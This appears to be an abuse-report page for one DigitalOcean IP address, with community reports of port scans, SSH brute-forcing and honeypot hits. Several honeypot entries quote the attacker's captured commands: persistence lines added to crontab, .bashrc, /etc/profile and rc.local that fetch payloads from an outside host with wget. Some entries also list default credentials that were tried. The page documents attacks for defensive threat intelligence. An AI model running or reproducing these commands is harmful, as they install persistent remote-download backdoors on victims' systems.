JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

64.225.9.248

Activity Trending Down

Abuse Confidence Score

46% Elevated

24 reports

15 reporters · latest 2 weeks ago

ISP: DigitalOcean, LLC
Usage Type: Data Center/Web Hosting/Transit
ASN: AS14061
Domain Name: digitalocean.com
Country: 🇺🇸 United States of America
City: Clifton, New Jersey

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

Example preview

Account required for the enhanced features Log in Sign up

Abuse Reports

Export reports CSV

Total reports

24 from 15 distinct reporters

First reported

March 23rd 2024

Most recent report

2 weeks ago

Last 60 days

Top reporter locations 🇺🇸 United States of America 11 🇩🇪 Germany 3 🇫🇷 France 2

Most common categories Port Scan 13 Brute-Force 7 SSH 6 Hacking 6 IoT Targeted 2

Old reports The most recent abuse report for this IP address is from 2 weeks ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 jaxyral	2026-10-20 09:56:35 UTC · (2 weeks ago)	Cowrie SSH/Telnet honeypot: 84 malicious events over 24h. 42 SSH/Telnet login attempts; creds tried: admin/, admin/admin, fake12569/bad13731, fake53330/bad70683, fake67263/bad70270, fake73168/bad77928. Commands executed: (crontab -l 2>/dev/null; echo ... show more Cowrie SSH/Telnet honeypot: 84 malicious events over 24h. 42 SSH/Telnet login attempts; creds tried: admin/, admin/admin, fake12569/bad13731, fake53330/bad70683, fake67263/bad70270, fake73168/bad77928. Commands executed: (crontab -l 2>/dev/null; echo "* * * * * wget -q http://155.138.175.126:8080/pin \| echo "# persist" >> /etc/profile \| echo "wget -q http://155.138.175.126:8080/bash -O /dev/null &" >> ~/.bashrc 2>/d \| echo "wget -q http://155.138.175.126:8080/boot -O /dev/null &" >> /etc/rc.local \| echo OK12134 \| echo OK12911. Dest ports: 2223. First 2026-10-20T04:21:27+00:00, last 2026-10-20T09:56:35+00:00 UTC. show less	Brute-Force SSH Hacking
🇺🇸 jaxyral	2026-10-20 03:15:17 UTC · (2 weeks ago)	Cowrie SSH/Telnet honeypot: 294 malicious events over 24h. 147 SSH/Telnet login attempts; creds tried: admin/, admin/admin, fake13065/bad17217, fake13524/bad52523, fake14049/bad66573, fake22694/bad46675. Commands executed: (crontab -l 2>/dev/null; ec ... show more Cowrie SSH/Telnet honeypot: 294 malicious events over 24h. 147 SSH/Telnet login attempts; creds tried: admin/, admin/admin, fake13065/bad17217, fake13524/bad52523, fake14049/bad66573, fake22694/bad46675. Commands executed: (crontab -l 2>/dev/null; echo "* * * * * wget -q http://155.138.175.126:8080/pin \| echo "# persist" >> /etc/profile \| echo "wget -q http://155.138.175.126:8080/bash -O /dev/null &" >> ~/.bashrc 2>/d \| echo "wget -q http://155.138.175.126:8080/boot -O /dev/null &" >> /etc/rc.local \| echo OK11407 \| echo OK12783. Dest ports: 2223. First 2026-10-19T04:55:58+00:00, last 2026-10-20T03:15:17+00:00 UTC. show less	Brute-Force SSH Hacking
🇺🇸 donarev419	2026-10-20 01:20:29 UTC · (3 weeks ago)	Port scan detected on port 23 (connection without data transfer)	Port Scan
🇺🇸 jaxyral	2026-10-19 03:48:42 UTC · (3 weeks ago)	Cowrie SSH/Telnet honeypot: 313 malicious events over 24h. 159 SSH/Telnet login attempts; creds tried: admin/, admin/123456, admin/admin, admin/password, fake11135/bad92927, fake13055/bad35326. Commands executed: (crontab -l 2>/dev/null; echo "* * * ... show more Cowrie SSH/Telnet honeypot: 313 malicious events over 24h. 159 SSH/Telnet login attempts; creds tried: admin/, admin/123456, admin/admin, admin/password, fake11135/bad92927, fake13055/bad35326. Commands executed: (crontab -l 2>/dev/null; echo "* * * * * wget -q http://155.138.175.126:8080/pin \| echo "# persist" >> /etc/profile \| echo "wget -q http://155.138.175.126:8080/bash -O /dev/null &" >> ~/.bashrc 2>/d \| echo "wget -q http://155.138.175.126:8080/boot -O /dev/null &" >> /etc/rc.local \| echo OK10012 \| echo OK12887. Dest ports: 2223. First 2026-10-18T04:23:28+00:00, last 2026-10-19T03:48:42+00:00 UTC. show less	Brute-Force SSH Hacking
🇺🇸 donarev419	2026-10-19 01:07:10 UTC · (3 weeks ago)	Port scan detected on port 23 (connection without data transfer)	Port Scan
🇫🇷 fzc2000	2026-10-18 05:50:24 UTC · (3 weeks ago)	Repeated TCP connections to unused ports on a honeypot	Port Scan
🇺🇸 jaxyral	2026-10-18 02:08:09 UTC · (3 weeks ago)	Cowrie SSH/Telnet honeypot: 14 malicious events over 24h. 7 SSH/Telnet login attempts; creds tried: admin/, admin/admin, fake17857/bad59482, root/, root/admin, root/root. Commands executed: (crontab -l 2>/dev/null; echo "* * * * * wget -q http://155. ... show more Cowrie SSH/Telnet honeypot: 14 malicious events over 24h. 7 SSH/Telnet login attempts; creds tried: admin/, admin/admin, fake17857/bad59482, root/, root/admin, root/root. Commands executed: (crontab -l 2>/dev/null; echo "* * * * * wget -q http://155.138.175.126:8080/pin \| echo "# persist" >> /etc/profile \| echo "wget -q http://155.138.175.126:8080/bash -O /dev/null &" >> ~/.bashrc 2>/d \| echo "wget -q http://155.138.175.126:8080/boot -O /dev/null &" >> /etc/rc.local \| echo OK58029 \| echo OK59147. Dest ports: 2223. First 2026-10-18T02:08:06+00:00, last 2026-10-18T02:08:09+00:00 UTC. show less	Brute-Force SSH Hacking
🇺🇸 donarev419	2026-10-18 01:04:36 UTC · (3 weeks ago)	Port scan detected on port 23 (connection without data transfer)	Port Scan
🇺🇸 RAP	2026-10-16 20:13:20 UTC · (3 weeks ago)	2026-10-16 20:13:20 UTC Unauthorized activity to TCP port 8080. Web App	Port Scan Web App Attack
🇭🇰 CyberFox	2026-10-16 15:54:47 UTC · (3 weeks ago)	8291/tcp (1 or more attempts)	Port Scan
🇭🇰 鹏鹏	2026-10-16 10:20:01 UTC · (3 weeks ago)	monitor: on ser162528253480 \| port: 8080 \| ttl: 243 script: github.com/sefinek/UFW-AbuseIPDB-Reporter	Port Scan
🇷🇺 genokrad	2026-10-16 01:12:47 UTC · (3 weeks ago)	Unauthorized connection try on TCP/22 (SSH)	Port Scan
🇺🇸 NetVexor	2026-10-16 00:13:49 UTC · (3 weeks ago)	Attack source identified and submitted via NetVexor BGP Blackhole Network	Port Scan Hacking Brute-Force
🇫🇷 security.rdmc.fr	2026-10-15 06:24:39 UTC · (3 weeks ago)	Port Scan Attack proto:TCP src:59871 dst:23	Port Scan
🇺🇸 RAP	2026-10-15 05:40:35 UTC · (3 weeks ago)	2026-10-15 05:40:35 UTC Unauthorized activity to TCP port 22. SSH	SSH

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇺🇸 208.94.237.151

🇨🇴 181.55.68.131

🇧🇷 177.9.138.233

🇺🇸 147.185.132.32

🇮🇷 37.202.133.134

🇺🇸 20.172.68.78

🇺🇸 20.64.98.15

🇳🇴 185.12.59.118

🇵🇱 172.68.159.121

🇩🇪 167.94.146.38

🇺🇸 142.147.177.114

🇰🇷 112.168.121.39

🇨🇭 104.244.79.113

🇧🇷 43.157.142.101

🇭🇰 43.155.21.198

🇷🇺 37.78.76.64

🇧🇪 34.156.121.5

🇨🇳 2408:8207:1836:ba50:69cf:cd4f:2c9d:d32a

🇺🇸 216.25.89.107

🇵🇱 172.68.159.138